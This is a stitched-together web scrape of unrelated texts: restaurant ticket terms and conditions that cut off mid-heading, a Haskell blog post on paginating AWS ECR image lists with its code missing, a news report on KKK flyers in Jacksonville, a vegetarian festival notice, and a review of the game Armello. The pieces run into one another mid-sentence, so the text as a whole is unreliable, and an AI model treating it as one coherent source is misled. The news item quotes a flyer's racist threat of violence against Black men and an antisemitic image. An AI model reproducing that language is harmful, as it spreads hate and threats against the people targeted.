10.5. Without prejudice to clauses 12.6 and 16.5 of these Terms, we reserve the right, in our absolute discretion, to vary, reduce or limit the composition and/or range of the Tasting Menu provided to any guest who arrives at the Premises more than thirty minutes after the time specified in the relevant Reservation.
10.6. We reserve the right, in our absolute discretion, to vary the composition of the Tasting Menu from time to time, where we consider it reasonable and necessary to do so. Circumstances in which we may vary the composition of the Tasting Menu might include changes to reflect, for example, the following circumstances:
(a) availability of relevant or particular produce or ingredients;
(b) season or time of year;
(c) for food safety or hygiene reasons, or for health and safety reasons];
(d) changes in relevant laws and regulatory requirements;
(e) changes in our contractual or other arrangements with, and/or our contractual or other obligations to, third parties such as our suppliers.
10.7. The price of a Ticket does not include any drinks or any items not included in the Tasting Menu or any service charge. An optional 12.5% service charge based on the price(s) of your Ticket and any drinks or other items purchased during your Reservation will be presented at the end of your Reservation.
10.8. Available drinks and available items not included in the Tasting Menu can be purchased from us at the Premises during the Reservation by you or any member of your party using Visa, Visa Debit, Mastercard, American Express
or cash and payment for these items and of any service charge will be taken (but only in pounds sterling (£ sterling)) at the end of your Reservation.
11. DELIVERY
11.1. We deliver Ticket Confirmations (that form Tickets) exclusively by email and we will only deliver the Ticket Confirmation that forms your Ticket to the email address you provided us when you placed your order via our site.
11.2. Occasionally our delivery to you may be affected by an Event Outside Our Control. See clause 19 for our responsibilities when this happens.
11.3. We will not dispatch your Ticket Confirmation until we have received full payment for your Ticket, together with full payment of any additional administrative or other charges payable in relation to your Ticket. We will dispatch your Ticket Confirmation within five days of receiving full payment for your Ticket, together with full payment of any additional administrative or other charges payable in relation to your Ticket.
11.4. If we miss a delivery deadline for any Ticket or Ticket Confirmation then you may cancel your Purchase Order straight away if any of the following apply:
(a) we have refused to deliver the Ticket Confirmation;
(b) delivery within the delivery deadline was essential (taking into account all the relevant circumstances); or
(c) you told us before we accepted your order that delivery within the delivery deadline was essential.
11.5. If you do not wish to cancel your Purchase Order straight away, or do not have the right to do so under clause 11.4 you can give us a new deadline for delivery, which must be reasonable, and you can cancel your Purchase Order if we do not meet the new deadline.
11.6. If you do choose to cancel your Purchase Order for late delivery under clause 11.4 or clause 11.5 then after you cancel your Purchase Order we will refund any sums you have paid us for the cancelled Ticket and any additional administrative or other charges you have paid us in relation to your Ticket.
12. TERMS AND CONDITIONS OF USE OF TICKETS
12.1. These Terms (which include important terms in clause 19 relating to an Event Outside Our Control and our responsibilities when this happens, and relating to our liability in clauses 17 or 18, as applicable) and the Terms and Conditions of use of Tickets set out in this clause 12 apply to all Tickets wherever and whenever ordered, purchased or issued.
12.2. Each Ticket must be linked to a particular Reservation and to a particular Reservation Date (and vice-versa) and a Reservation must be made and a Reservation Date must be fixed in respect of each Ticket at the same time as that Ticket is ordered.
12.3. A Ticket can only be used for and will only be accepted on the Reservation Date to which that Ticket is linked and only in respect of the Reservation to which that Ticket is linked. A Ticket can only be used at the Premises on the Reservation Date relevant to that Ticket and only for the duration of the Reservation to which that Ticket is linked.
12.4. A Ticket will immediately become null and void and will be immediately cancelled by us on receipt by us of either:
- a request made by the purchaser in accordance with clauses 11and/or 14 or 15 of these Terms, to cancel the Purchase Contract in respect of that Ticket or to cancel that Ticket;
- a request or requirement from the purchaser of that Ticket to us to cancel that Ticket; or
- a Notice Email; and on
- the successful completion of a Notice Form;
and in none of those circumstances will there be any right of refund of the purchase price of that Ticket, except where that right arises in accordance and compliance with, and subject to, the provisions of:
- clauses 11.14 or 15 of these Terms; or
- clause 15 of these Terms, which includes us receiving full payment from the relevant New Guest for the relevant New Ticket in accordance with the Returns procedure.
This clause 12.4 does not affect the statutory rights of a purchaser from us.
12.5. A Ticket will immediately become null and void and will be immediately cancelled by us on payment by us of a refund of the purchase price of that Ticket. This clause 12.5 does not affect the statutory rights of a purchaser from us.
12.6. A Ticket and the Reservation linked to that Ticket will become immediately null and void and will be immediately cancelled by us, with no right of refund of the purchase price of that Ticket, and no rights to make a fresh Reservation or to change the Reservation Date, if that Ticket is not presented to us at the Premises within one hour from the Reservation Date. This clause 12.6 does not affect the statutory rights of a purchaser from us.
12.7. Before accepting a Ticket on presentation of it to us, we reserve the right to, and you agree that we may, in our absolute discretion, require the person presenting that Ticket to produce to us:
- such proof or evidence of his or her identity as we require, in our absolute discretion, to satisfy us of his or her identity; and/or
- such proof or evidence that he or she is the owner of that Ticket as we require, in our absolute discretion, to satisfy us that he or she is the owner of that Ticket;
and in the event our requirements in any of these respects are not complied with we reserve our rights to, and you agree that we may, in our absolute discretion, do any or all of the following:
- refuse to accept that Ticket with no right of refund of the purchase price of that Ticket in the event we do so;
- refuse to admit the person presenting that Ticket, and any or all of his or her party, to the Premises with no right of refund of the purchase price of that Ticket in the event we do so;
- cancel that Ticket, with no right of refund of the purchase price of that Ticket in the event we do so;
- cancel the Reservation linked to that Ticket, with no rights to make a fresh Reservation or to change the Reservation Date in the event we do so;
- refuse to comply with any or all of our obligations under clause 10 of these Terms, with no right of refund of the purchase price of that Ticket in the event we do so.
This clause 12.7 does not affect the rights of cancellation and refund of a purchaser from us in accordance with clauses 11, 14 or 19 of these Terms, nor the statutory rights, of a purchaser from us.
12.8. Tickets will be cancelled, and will become null and void in their entirety, immediately on first presentation and use at the Premises. This clause 12.8 does not affect the statutory rights of a purchaser from us.
12.9. Tickets cannot be exchanged for cash. This clause 12.9 does not affect the, or any, rights of cancellation and refund or payment in accordance with clauses 11, 14, 15 or 19 of these Terms, nor the statutory rights, of a purchaser from us.
12.10. We do not in any circumstances give partial refunds in respect of Tickets. Due to the small size of the Premises and the limited number of tables within the Premises, Tickets are sold exclusively per table at fixed prices that vary according to the maximum number of guests each table seats. This means, for example, that if you purchase a Ticket for a table seating up to four guests, but there is a reduction in your party’s size to three guests when you dine, no partial or entire refund or reduction in respect of the price of the Ticket will be given to reflect the reduction in your party’s size. This clause 12.10 does not affect the, or any, rights of cancellation and refund or payment in accordance with clauses 11, 14, 15 or 19 of these Terms, nor the statutory rights, of a purchaser from us.
12.11. Please protect your Ticket and treat it as cash; we cannot replace lost, stolen or damaged Tickets and nor can we refund the purchase price of lost, stolen or damaged Tickets.
12.12. Tickets are null and void if the Ticket’s unique number has been removed or obliterated or is illegible and we reserve the right to refuse to accept any Ticket which we deem, in our absolute discretion, to be tampered with, duplicated or which otherwise is suspected to have be stolen or to be affected by fraud or to be a forgery. We will not refund the price of any Ticket that is null and void for any of these reasons or which we deem, in our absolute discretion, to be tampered with, duplicated or which otherwise is suspected to have be stolen or to be affected by fraud or to be a forgery.
12.13. In the event that we suspect, in our absolute discretion, that there has been any breach of any of the provisions of this clause 12 or of clauses 13 or 16 of these Terms, whether in respect of a Ticket or otherwise, or if any part of payment for a ticket has been cancelled, stopped or not honoured, we reserve the right to, and you agree that we may, in our absolute discretion, do any or all of the following:
- refuse to accept that Ticket or the relevant Ticket or the Ticket concerned, with no right of refund of the purchase price of that Ticket in the event we do so;
- refuse to admit the person presenting that Ticket or the relevant Ticket or the Ticket concerned, and any or all of his or her party, to the Premises, with no right of refund of the purchase price of that Ticket in the event we do so;
- cancel that Ticket, with no right of refund of the purchase price of that Ticket in the event we do so;
- cancel the Reservation linked to that Ticket, with no rights to make a fresh Reservation or to change the Reservation Date in the event we do so;
- refuse to comply with any or all of our obligations under clause 10 and/or under clause 16 (if any) of these Terms, with no right of refund of the purchase price of that Ticket in the event we do so.
This clause 12.13 does not affect the rights of cancellation and refund in accordance with clauses 11.14 or 19 of these Terms, nor the statutory rights, of a purchaser from us.
12.14. We reserve the right to amend the Terms and Conditions of use of Tickets set out in this clause 12 from time to time, where we consider it reasonable and necessary to do so and the Terms and Conditions of Use of Tickets as amended will then be binding in respect of all Tickets, whenever purchased or issued. Circumstances in which we may amend the Terms and Conditions of use of Tickets set out in this clause 12 as they apply to your Tickets might include amendments to reflect, for example, the following circumstances:
(a) changes in relevant laws and regulatory requirements;
(b) changes in our operation or to reflect changes in our operational requirements;
(c) changes in our contractual or other arrangements with, and/or our contractual or other obligations to, third parties (for example, such as payment intermediaries who you use to pay for or through which you make payment for a Ticket).
13. TRANSFERS OR RE-SALES OF PURCHASE CONTRACTS, TICKETS AND RESERVATIONS
13.1. You agree not to transfer any of your rights or any of your obligations:
- under, or in relation to, or in, or arising from, an order(s);
- under, or in relation to, or in, or arising from, a Purchase Contract(s);
- under, or arising from, these Terms;
- under, or in relation to, or in, or arising from, a Ticket or a Ticket Confirmation; or
- under, or in relation to, or in, or arising from, a Reservation(s);
to any other person without our prior written permission, which can only be given by one of our directors or by one of our other duly authorised representatives.
13.2. The prohibitions in clause 13.1 in respect of orders, Purchase Contract(s), these Terms, a Ticket, a Ticket Confirmation or a Reservation(s) include, but are not limited to, transferring any of your rights or any of your obligations for the purposes of gifts, charity auctions, raffle prizes, advertising, promotions, contests or sweepstakes:
13.3. You agree not to use for profit, nor to sell (whether for profit or otherwise), offer or expose for sale, nor to use for any resale purposes, either:
- an order(s);
- a Purchase Contract(s);
- a Ticket or a Ticket Confirmation;
- a Reservation(s); or
- any of your rights under, or in relation to, or in, or arising from: an order; a Purchase Contract(s); a Ticket; a Ticket Confirmation; a Reservation(s); or these Terms.
14. YOUR RIGHT TO CANCEL A PURCHASE CONTRACT
Your legal rights set out in this clause 14 are separate to any legal rights you may have under clauses 11, 15, 17, 18 or 19, as or if applicable
14.1. If you are a consumer customer, you have a legal right to cancel a Purchase Contract under the Consumer Contracts (Information, Cancellation and Additional Charges) Regulations 2013 during the period set out below in clause 14.2. If you are a private individual customer or a business customer, we grant you a legal right to cancel a Purchase Contract during the period set out below in clause 14.2 that is equivalent to a consumer customer’s right to do so under those Regulations during that period. This means, whether you are a consumer customer, a private individual customer or a business customer, that during the relevant period if you change your mind or decide for any other reason that you do not want to receive or keep a Ticket, you can notify us of your decision to cancel the Purchase Contract and receive a refund. If you are a consumer customer, advice about your legal right to cancel the Purchase Contract is available from your local Citizens' Advice Bureau or Trading Standards office.
14.2. Your legal right to cancel a Purchase Contract starts from the date of the Ticket Confirmation (the date on which we email you to confirm our acceptance of your order), which is when the Purchase Contract between us is formed. Your deadline for cancelling the Purchase Contract is the end of 14 days after the day on which you receive the Ticket. Example: if we provide you with a Ticket Confirmation on 1 January and you receive the Ticket on 10 January you may cancel at any time between 1 January and the end of the day on 24 January.
14.3. To cancel a Purchase Contract, you just need to let us know that you have decided to cancel. The easiest way to do this is to complete the cancellation form on our site. A link to the cancellation form on our site will also be included in our Ticket Confirmation. If you use this method we will email you to confirm we have received your cancellation. Alternatively you may use a copy of the cancellation form which is attached at the back of these Terms as a schedule.
You can also email us at guestrelations@thefatduck.co.uk or contact our Guest Relations team by telephone on + 44 (0) 1628 580 333 pin number 299 or by post to The Guest Relations Team, The Fat Duck Limited, High Street, Bray, Berkshire, SL6 2AQ, United Kingdom. If you are emailing us or writing to us you must include details of your name and order number or Ticket number(s) and your Reservation to help us to identify it and please be ready to let us have this information if you are telephoning us. If you send us your cancellation notice by email or by post, then your cancellation is effective from the date you send us the email or post the letter to us. For example, you will have given us notice in time as long as you get your letter into the last post on the last day of the cancellation period or email us before midnight on that day.
14.4. If you validly cancel your Purchase Contract we will:
(a) refund you the price you paid for the Ticket.
(b) make any refunds due to you as soon as possible and in any event within the deadlines indicated below:
(i) if you have cancelled by using the cancellation form on our site: 14 days after the day on which we receive your cancellation form;
(ii) if you have cancelled by sending us an email: 14 days after the day on which you send us the email;
(iii) if you have cancelled by post: 14 days after the day on which you provide us with evidence that you have sent your cancellation by post or 14 days after we receive your cancellation, whichever is the earlier;
(iv) if you have cancelled by telephone or otherwise verbally: 14 days after the day on which you inform us of your decision to cancel the Purchase Contract;
(v) if you have not received the Ticket: 14 days after you inform us of your decision to cancel the Purchase Contract.
14.5. If you have returned the Ticket to us under this clause 14 because it is faulty or mis-described, we will refund the price of the Ticket in full.
14.6. If you are a consumer customer, we are under a legal duty to supply Tickets that are in conformity with these Terms. If you are a consumer customer, you have legal rights in relation to Tickets that are faulty or not as described and these legal rights are not affected by your right of refund in this clause 14 or anything else in these Terms. If you are a consumer customer, advice about your legal rights is available from your local United Kingdom Citizens' Advice Bureau or Trading Standards office.
15. RETURNS PROCEDURE
ANY RIGHTS YOU HAVE IN ACCORDANCE WITH WHAT WE SAY IN THIS CLAUSE 15 ARE SEPARATE TO ANY LEGAL RIGHTS YOU MAY HAVE UNDER CLAUSES 11, 14, 17, 18 OR 19, AND TO ANY STATUTORY RIGHTS YOU MAY HAVE.
READ THIS CLAUSE IN CONJUNCTION WITH CLAUSES 1.2 (A) AND 20.2
15.1. You agree we will become liable to pay you (being the purchaser of the relevant Ticket from us) an amount equivalent to the price you paid us for the Ticket (but excluding any delivery or administrative charges or other fees or costs you have paid) (Price) in accordance with, and in the circumstances set out in, sub-clauses 15.2, 15.3, 15.4 and 15.5 of this clause 15 (Returns Procedure).
15.2. We will pay you (being the purchaser of the relevant Ticket from us) the Price, but only after the expiry of three working days from the Reservation Date linked to the relevant Ticket, and only provided that:
15.2.1 by no later than 12 p.m. U.K. time on the 28th day before your Reservation Date, either a form (Notice Form) has been successfully completed, or we have received an email (Notice Email), that in each case complies with the requirements set out in this clause 15.2.1 (and that also complies with, as applicable, the requirements set out in either clause 15.3 or 15.4). The requirements set out in this clause
15.2.1, are that a Notice Form and a Notice Email must:
- warrant and confirm that you are the purchaser of the relevant Ticket and that you purchased the relevant Ticket from us or, if you are not the purchaser of the relevant Ticket from us, that you are authorised and instructed by the purchaser of the relevant Ticket from us and anyone having an interest in the relevant ticket, to send the Notice Email or to complete the Notice Form (as the case may be) and that you have done so on behalf of the purchaser of the relevant Ticket from us and anyone having an interest in the relevant ticket;
- warrant and confirm that you are or, if you are not the the purchaser of the relevant Ticket from us, that purchaser confirms that it, he or she is, immediately and irrevocably cancelling the relevant Purchase Contract(s) and the relevant Ticket and the Reservation linked to the relevant Ticket;
warrant and confirm that you have, or if you are not the purchaser of the relevant Ticket from us, that you are doing so on behalf of that purchaser as his authorised agent and that it, he or she has, received and will receive no payment, in money or otherwise, directly or indirectly from or on behalf of any person in return for completing the Notice Form or sending us the Notice Email (as the case may be); and, additionally, only provided that 15.2.2 by no later than 4 p.m. U.K. time on the 2nd day before the Reservation Date linked to the relevant Ticket which is the subject of the Notice Form or the Notice Email (as the case may be), we have sold to (and received full payment from) a new guest (New Guest) a new Ticket (New Ticket) for the same (or a greater) price than the Price, and the New Ticket is linked to a Reservation that is exactly the same as the Reservation linked to the relevant Ticket which is the subject of the Notice Form or the Notice Email (as the case may be) including in respect of the Reservation Date and number of guests..
15.3. If you want to complete a Notice Form, it can only be completed, and will only be effective if it is completed on our site and provided the Purchase Contract, the Ticket and the Reservation(s) you are cancelling are linked. The following is a link to the Notice Form on our site. If a Notice Form is successfully completed, a Notice Form is deemed immediately effective at the time and on the date it is successfully completed.
15.4. If you want to send us a Notice Email, a Notice Email must be sent to us at guestrelations@thefatduck.co.uk, and to be effective a Notice Email must also be sent to us from the email account of the purchaser (or person, if different) provided to us when the relevant Ticket was ordered from us. To be effective a Notice Email must include the name of the purchaser of the relevant Ticket from us (which must be identical to the purchaser’s name that was provided to us when the relevant Ticket was ordered from us), the Ticket number and the Reservation Date (time and date must be specified) linked to the relevant Ticket. A pro-forma Notice Email is attached as a schedule to these Terms.
15.5. If you successfully complete a Notice Form, or send us or we receive a Notice Email, (or procure that any of these things are done or occur) you agree that the cancellation(s) of your (or the relevant) Purchase Contract(s), your (or the relevant) Ticket and the Reservation(s) linked to your (or the relevant) Ticket you accordingly effect are immediate and irrevocable.
16. TERMS AND CONDITIONS OF RESERVATIONS
16.1. These Terms (which include important terms in clause 19 relating to an Event Outside Our Control and our responsibilities when this happens and relating to our liability in clauses 17 or 18, as applicable) and the Terms and Conditions of Reservations set out in this clause 16 apply to all Reservations.
16.2. Each Reservation and each Reservation Date must be linked to a particular Ticket (and vice-versa) and a Reservation must be made and a Reservation Date must be fixed in respect of each Ticket at the same time as that Ticket is ordered. A Ticket can only be used and will only be accepted on the Reservation Date to which that Ticket is linked and only in respect of the Reservation to which that Ticket is linked.
16.3. Once a Reservation is made it and the Reservation Date for that Reservation are fixed and neither can be changed.
16.4. A Reservation will become null and void, and will be cancelled by us immediately on receipt by us of either:
- a request to cancel the order for the Ticket to which that Reservation would be linked;
- a request made by the purchaser from us in accordance with clauses 11, 14 and/or 19 of these Terms, to cancel the Purchase Contract in respect of the particular Ticket linked to that Reservation;
- a Notice Email in respect of the particular Ticket linked to that Reservation(s);
- a request or requirement from the purchaser from us of the particular Ticket linked to that Reservation(s) to cancel that Ticket or that Reservation(s); and on
- the successful completion of a Notice Form specifying that Reservation(s).
16.5.A Ticket and the Reservation linked to that Ticket will become immediately null and void and will be immediately cancelled by us, with no right of refund of the purchase price of that Ticket, and no rights to make a fresh Reservation or to change the Reservation Date, if that Ticket is not presented to us at the Premises within one hour from the Reservation Date. This clause 16.5 does not affect the statutory rights of a purchaser from us.
16.6.We reserve the right to amend the Terms and Conditions of Reservations set out in this clause 16 from time to time, where we consider it reasonable and necessary to do so and the Terms and Conditions of Reservations as amended will then be binding in respect of all Reservations, whenever made.
17. OUR LIABILITY IF YOU ARE A BUSINESS CUSTOMER This clause 17 only applies if you are a business customer.
17.1. We only supply the Ticket and you can only use the Ticket, and make and use a Reservation, in accordance with these Terms. You agree not to use or to sell the Ticket or Reservation otherwise than subject to and in accordance with these Terms.
17.2. Nothing in these Terms limits or excludes our liability for:
(a) death or personal injury caused by our negligence;
(b) fraud or fraudulent misrepresentation;
(c) breach of the terms implied by section 12 of the Sale of Goods Act 1979 (title and quiet possession); or
(d) defective products under the Consumer Protection Act 1987.
17.3. Subject to clause 17.2 we will under no circumstances whatever be liable to you, whether in contract, tort (including negligence), breach of statutory duty, or otherwise, arising:
17.3.1 under or in connection with, or in relation to, an order(s);
17.3.2 under or in connection with, or in relation to, a Purchase Contract(s) or Ticket;
17.3.3 under or in connection with, or in relation to, a Reservation(s);
17.3.4 under or in connection with, or in relation to any food and/or beverage(s) consumed by you or any of your party during your Reservation, or in respect of anything that does or does not happen during your Reservation;
17.3.5 otherwise or for any other reason whatsoever;
for:
(a) any loss of profits, sales, business, or revenue;
(b) loss or corruption of data, information or software;
(c) loss of business opportunity;
(d) loss of anticipated savings;
(e) loss of goodwill;
(f) any loss you may suffer if a third party procures unauthorised access to any data you provide when accessing or ordering from our site;
(g) any loss you may suffer either in relation to and/or arising from your provision of any data or information you provide to us or to any person(s) when you order, purchase, pay for sell or seek to sell a Ticket and/or when you make and/or in relation to a Reservation and/ or in relation to and/or arising from any data you incidentally provide to us or to any person(s) in relation to an order for, purchase of, payment for or sale of a Ticket and/or when you make and/or in relation to a Reservation(s); or
(h) any indirect or consequential loss. For the avoidance of doubt, “any indirect or consequential loss” shall include any indirect or consequential loss arising from an Event Outside Our Control.
17.4 Subject to clause 17.2, our total liability to you in respect of all losses (including any indirect or consequential losses, which shall include any indirect or consequential losses arising from an Event Outside Our Control), shall in no circumstances exceed the price of the Ticket you have purchased.
17.5 Except as expressly stated in these Terms, we do not give any representation, warranties or undertakings in relation to any Tickets nor in relation to any Reservations. Any representation, condition or warranty which might be implied or incorporated into these Terms by statute, common law or otherwise is excluded to the fullest extent permitted by law. In particular, we will not be responsible for ensuring that the Ticket or Reservation are suitable for your purposes.
18. OUR |
. Very simply put, ECR stands for EC2 Container Registry and is no more, no less, a private Docker Registry you can use as part of the impressive AWS (Amazon Web Service) toolkit.
ECR works by having a set of repositories, and for each of them you can upload up to 500 Docker images. If you exceed this limit, you will have either to delete some images to create free space, or contact the Amazon customer service to dump the upper limit up. My team uses ECR to store the images associated to the Haskell micro services we deploy using Elastic Beanstalk, and each time we do a deploy, we create and upload a new versioned image for each micro service, so it comes as no surprise that space in the repositories is going to finish sooner or later. So the problem is simple: “I have some images stored in the cloud and I need to delete them”.
Now, we could have used the quite impressive amazonka-ecr to solve our problem, but historically we have been using the aws-cli even before Amazonka was around, and sometimes is just super easy to slurp the output of a cli application and to decode that from JSON. Short story short, this is why we didn’t piggyback on this excellent third-party library, but that’s a bit of an OT. What’s important is that to solve our problem, we only need two commands from the aws-cli : list-images to retrieve all our images, and batch-delete-image to delete the ones which meet our criteria (in our case that would be deleting anything older than 2 months).
list-image doesn’t return the whole set of images, as this would be a beefy JSON! What it does instead, is to return a JSON packet with a Token identifying if we have more data to fetch. This is a standard pagination technique: other strategies would be, for example, to return the current page and the total number of pages, so that the user can advance forward or backward. We can easily model an ECRImage as a simple data type by following the specification on the list-image page:
The ECRListImages is an umbrella type we define to parse the raw JSON that AWS gives us, which will include the token AND the data fetched so far. When I approached this problem, I knew two things for sure:
I didn’t want to fetch the whole dataset into memory, but rather processing it in chunks
The problem itself was screaming “streaming!”
Although I could have simply written a recursive function which would fetch the current data and the token, process it, and recur in case we still had data to fetch, that stroke me as a poor solution. Not bacause it was intrinsically bad, but only because it felt a bit ad-hoc and didn’t compose very well. What if I wanted to step through the data “one chunk” at the time? What if I wanted to filter each chunk according to a predicate and retain only a subset of it? Sure, I could extend my function which a predicate to filter on, but that felt even more ad-hoc. So I took a step backward and wondered if I could come up with a super tiny abstraction to “step” through the data whilst retaining code reuse and composition. After some failing attempt, I came up with this small data structure, which I’m calling here ForwardPaginator to stress the fact we cannot iterate backward (yet), which is something I didn’t need to support anyway:
A ForwardPaginator effectively models a tree of computations; we can have a leaf, meaning we have just started our machine and are at step zero, or a fetch step that, given an input i will produce a triple (newInput, output, paginator), doing (or not) some monadic effect in the process (thus the m wrapping). Due to the fact we could have exhausted our input, we encapsulate this possibility in a Maybe, which explains the presence of those Maybe i. We can even define what seems to be a legal Functor instance for it:
(Note to the reader: I have the intuition we should be able to define a Contravariant instance for our ForwardPaginator, but I’m not 100% sure as i appears both in positive and negative position. A Profunctor even? Please comment below or on Reddit if you think this is possible, I simply haven’t tried yet.)
If you squint hard, you will recognise that what we have in the PaginatorFetch step is essentially Mealy machine! This is not very surprising; Neil Mitchell used it in Shake only to discover his data structure was indeed a Mealy machine and his definition was almost verbatim to the one included in the machine package. What I find cool is that both me and Neil went through the same creative process; we modeled our solution using an abstraction we later found out be something already present in literature! I find both depressing and invigorating to discover that your clever idea is something someone thought about a long time before you! Oh well, at least that gave me the confidence I was on the right track. Incidentally, Ollie blogged in 2013 about FRP and Netwire, and guess what his Auto type looks like ;)
The reader might be thinking by now “Ok, but what can you do with this?” A Mealy machine is something very simple at its heart, and copying its definition from Wikipedia “…is a finite-state machine whose output values are determined both by its current state and the current inputs.[…]”. Simply put, we can use the current state and the current input(s) to decide where to go next (which could be advance the machine or stop altogether). To be completely honest with you, whilst writing this blog post, I was on the fence about considering what’s inside a PaginatorFetch a Mealy or a Moore machine, as it resemble a bit of both, but I eventually settle on the former, as effectively it’s the input (the “token”) which determines if we can step further or not.
Armed with our ForwardPaginator, let’s generalise it to our domain problem:
Now, let’s get the elephant out of the room and let me give you the (rather) uninteresting definition of our ECR paginator. I personally think that the semantic of the data structure and the operations we can perform of it are much more interesting, but I wanted to post a “real world” paginator just to prove this stuff can also pay the bills ;)
The caveat here is that we need to repeat the call to aws ecr twice as we need to call it at least once to acquire a valid token, so that externally we will be able to pass Nothing to our paginator to start it. I have chosen Sh as my monad of choice (from the shelly package), so that I can run bash commands easily.
Now the fun begins! What we can do with this paginator and more generally with a ForwardPaginator?
The first operation we can think of is effectively “stepping” the paginator, and implementing this function is not very hard:
Note how this function is completely generic in terms of m, i and a, apart from the Monad constraint, which means I can “step” arbitrary paginators – talk about code reuse! Another thing we might want is to be evil and fold all the data returned from the paginator into a giant collection. Not hard as well:
Again, the only constrain is that our accumulator must be a Monoid, so that we can effectively concatenate all the results together. This would also effectively allow us to return all the ECRImage (s) at once, but beware that this would load them into memory – not recommended for your production services!
Something nice we can do with a ForwardPaginator is being able to find a particular element matching a predicate, short-circuiting our paginator as soon as we find a match, in order to avoid work and more generally expensive calls to external services:
Pure or impure? Pick your monad!
To wrap up this blog post, I also wanted to show you how we are not bounded to use a “impure” monad for our ForwardPaginator : we could use something like Identity, State, Reader and so on and so forth. As an example, we will create a ForwardPaginator which can be built out of a pure function (full disclosure: fib, the classic, hehe) and everything will be pure to please the Haskell gods. Let’s start by defining both our pure function and the associated paginator:
The slight twist is that in case we have no initial input, we return the base case of the recursion, otherwise we iterate in an infinite fashion, exactly like the original fib function. Now we can easily step the paginator using next to get one result at time, or create a convenient take function to get values out our infinite stream:
Using it is simple enough:
As a bonus, as ForwardPaginator is a functor, we can easily map a function on the output values as we stream them:
Stepping backwards
A bit of a pet peeve the reader migth have with this paginator is that is lacks the ability to step backward, and that would certainly be a valid concern. I still think though that adding the ability to iterate backward should be possible provided that we create a function back which bound the paginator monad to be a MonadState (Maybe i), so that we can store the previous token and go backward and forward as we please. Something like this, for example:
I think we need to yield a Maybe a as output in case we want to step backward but we are already at the first “page”: in that case, we should yield no result. Maybe, if the readers are interested, I could explore this possibility in a subsequent blog post, which should effectively give us a Paginator worth its name, to be used in each scenario which requires bidirectional pagination.
Conclusions
The ideas presented here are very simple but at the same time quite effective; They allowed me to solve my original problem in a nice compact way. Using findPaginator and the Functor instance I was able to first stop as soon as the current result set contained values I was interested in, and I was able to “zoom” only on pieces of the ECRImage data structure to extract things like the ImageDigest. So, next time you need to implement some form of pagination, remember you have the arsenal of Mealy and Moore Machines at your disposal: it’s not surprising they are called stream transducers!
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Loved this post? Stay updateResidents of Jacksonville, Florida, have seen KKK flyers dropped around the area before, but lately, they have become concerned by a new batch with specific threats against Black men.
One of the flyers promises violence to Black men who look at white women and reads: “Notice to all (N-word): Any of you black apes caught ‘making eyes’ at a white girl will be beaten with bats and your mothers won’t get anymo’ bananas-That’s a promise.”
The flyer also portrays the only “good Jew” as one with a bullet in his head.
— You don’t have to deny rape culture in order to stand by Nelly —
“My wife came out and she saw this little rolled up piece of paper, picked it up and read it and went to me crying saying she couldn’t believe what she was seeing.” John Rando told First Coast News, adding, “I hope that the world can just get along and peacefully work together in unity for America’s sake.”
The Jacksonville Sheriff’s Office has confirmed that there is an active criminal investigation ongoing into the flyers, suggesting that they have crossed the line from free speech to threats.
In the meantime, the residents of the East Arlington area simply want to be left alone.
“I know they’ve had problems with the KKK elsewhere and I hope we don’t. Its pretty scary to me.” said Karen Blakely, speaking to WTLV.Vegfest 2019 – A Healthy Vegetarian Food Festival
Vegfest 2019 will be held on March 30 & 31, 2019 10 am – 6 pm
Seattle Center’s Exhibition Hall
Mercer St & 3rd Ave N, Seattle, WA 98109, USA
Tickets are $12 per person per day. Children 12 and under are free. Tickets are only available at the door. Cash or checks only.
Please bring your own reusable bags to collect give-aways and purchases. See our environmental policy.
At our annual healthy vegetarian food festival you can:
Many people recognize the health and other benefits of vegetarian food choices, but they are not sure what to eat, what to buy and how to cook it. This festival provides all the support that people need, and it’s fun too. With free health screenings, books and lots of food, there’s something for everyone. There’s even a special kids section where kids can learn about healthy food while having fun, with clowns and more.
Medical Seminar for Physicians and Medical Students
At Vegfest each year, we offer an evening medical seminar to physicians and medical students, focused on the prevention and treatment of disease with a plant-based diet. This 2-hour seminar features regional physicians talking about the latest research and their clinical experience in a selection of specialties. Learn more.
Volunteers
It takes over 1,000 volunteers to staff the festival. Check out our volunteer page to learn more about volunteering at Vegfest.
Sponsors and Supporters
This event would not be possible without the support of many sponsors. See our sponsors page for more information.
If you’re interested in sponsoring or participating in this event, please contact us using the sponsor form.The following blog post, unless otherwise noted, was written by a member of Gamasutras community.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
There are many things to like about League of Geeks' Armello beyond the impressive attention to aesthetics. The slow death of the king is a clever way to make the set number of game rounds feel thematically natural, while the contrast between the players’ growth and the king’s decline gives the game a nice arc. The terrain rules are equally elegant – particularly the damaging swamps which are beneficial more often than one might expect. The cards and their associated resources are well balanced, the day/night cycle surprisingly meaningful and the prestige leader having some say in the king’s announcements is a clever touch. The quest system works very well, allowing players to make an informed decision but rarely offering one that feels obvious. There are less successful areas - spirit stone victories feel disconnected from the rest of the system, the rot mechanic and associated victory condition could do with some development, and the game is at times unsatisfyingly random – but overall the game’s rules feel appropriately like a modern board game.
Armello is beautifully presented throughout and many of the mechanics are well thought out
Where Armello disappoints the most is in the way it presents this content to the player. Because they don’t have a computer enforcing rules or access to content, traditional board games are transparent. The rules are given to players upfront, the board and components communicate the game state clearly to players, and components are not hidden or locked away. Inherent in classical board game design is confidence that allowing players to know everything about a game from the start will not diminish their interest in it, that the results of the game system is the thing to be explored rather than the components. In contrast, Armello hides much of its content from players from the very start. A list of the games’ cards is offered by the main menu but players must encounter each card in-game before it is added. Players may choose two items before the game to enhance their hero’s abilities but the majority are locked behind achievements. The in-game manual is reasonable but not comprehensive and it cannot be accessed from the main menu.
Want to know how many damage-causing cards the game contains? Play a lot
These aren’t atypical digital design choices, but digital strategy games in particular could benefit from recognising that the restrictions of self-contained physical game design are not entirely negative. Locking content away from players implies a pair of fundamental issues with the game: That it is too complicated to introduce in its entirety upfront, and that the game is not interesting enough to hook players without the virtual carrot of unlocks and content exploration. This may be somewhat justifiable in a highly complex narrative experience, as part of an extended campaign, or in a deliberately shallow game running on a freemium model, but neither implication is healthy for something presenting itself as a self-contained strategy game.
Obstinacy with respect to information extends to gameplay as well. Almost all in-game information is trackable but very little of it is available at a glance – if you want to know how much gold your opponents have you need to browse through individual information tabs, and while the game shows you what colour cards people are drawing it won’t give you the same information just seconds later. Most egregiously, the game’s map is visible at all times but zooming out to see more of it at once leaves a layer of clouds obscuring the player’s view. None of these measures will stop a serious strategy player from accessing relevant information; it only makes the process slow and frustrating. Despite having an option for ranked multiplayer in the menu Armello suggests in many ways that it is not a game to be played competitively.
Even without the clouds you can't see the whole board at a glance
